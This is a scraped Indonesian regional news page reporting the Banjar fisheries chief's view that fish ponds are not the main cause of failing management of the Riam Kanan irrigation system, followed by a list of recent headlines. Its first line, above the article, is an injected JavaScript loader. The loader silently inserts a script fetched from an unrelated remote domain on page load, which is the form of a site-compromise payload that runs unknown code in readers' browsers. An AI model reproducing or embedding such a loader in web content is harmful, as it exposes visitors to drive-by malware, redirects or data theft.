(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Di Balik Belum Maksimalnya Pengelolaan Irigasi Riam Kanan (1)


MARTAPURA – Meski semua jari menunjuk kolam-kolam sebagai musabab utama karut marutnya pengelolaan DI Riam Kanan, namun pihak Dinas Perikanan Kabupaten Banjar yang mewenangi sektor perikanan tak ingin sepenuhnya disalahkan.

Noor Ipansyah, Kepala Dinas Perikanan Kabupaten Banjar yang pernah dikonfirmasi terkait hal tersebut mengatakan, permasalahan para petani yang tak dapat lagi menggarap sawahnya bukan sepenuhnya dampak keberadaan kolam-kolam ikan.

Kalaupun benar air dari kolam-kolam ikan berdampak pada genangan air di areal sawah, ujarnya, mungkin hanya sebagian kecil. Terlebih lagi, lanjutnya, keberadaan para pebudidaya ikan dalam kolam di wilayah tersebut sudah lebih dulu ada untuk memanfaatkan air dari saluran irigasi ketimbang areal persawahan. Menyusul setelah kolam-kolam ada, kawasan pertanian juga ikut memanfaatkan air dari saluran irigasi untuk pengairan. (Baca: Air Banyak “Bocor”, Pengelolaan Irigasi Riam Kanan Belum Optimal).

Pun menurutnya, pemanfataan air saluran Irigasi Riam Kanan untuk sektor perikanan sesuai dengan Peraturan Gubernur (Pergub) Kalsel. Kendati diakuinya, salah satu klausul dalam Pergub menyebutkan, para pebudidaya kolam juga harus menerapkan sebuah teknologi sirkulasi penggendalian air buangan.

Dan teknologi itu, ujar Noor Ipansyah, belum ada pemilik kolam yang menerapkannya. Meski begitu, menurutnya, bukan keberdaan tambak yang menjadi penyebab utuh areal persawahan tak dapat digarap.

“Masyarakat perikanan dalam hal ini hanya sebagai pemakai air dari saluran irigasi, jika memang sebagai pemakai ini bermasalah, tentu ada hal lain atau penyebab lain munculnya permasalhan tersebut. Semisal tata kelola air melalui saluran-saluran baik sekunder maupun tersier yang kewenangannya instansi lain,” kata Noor Ipansyah.(rudiyanto)


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

42 menit ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

52 menit ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

2 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

5 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

6 jam ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

21 jam ago

This website uses cookies.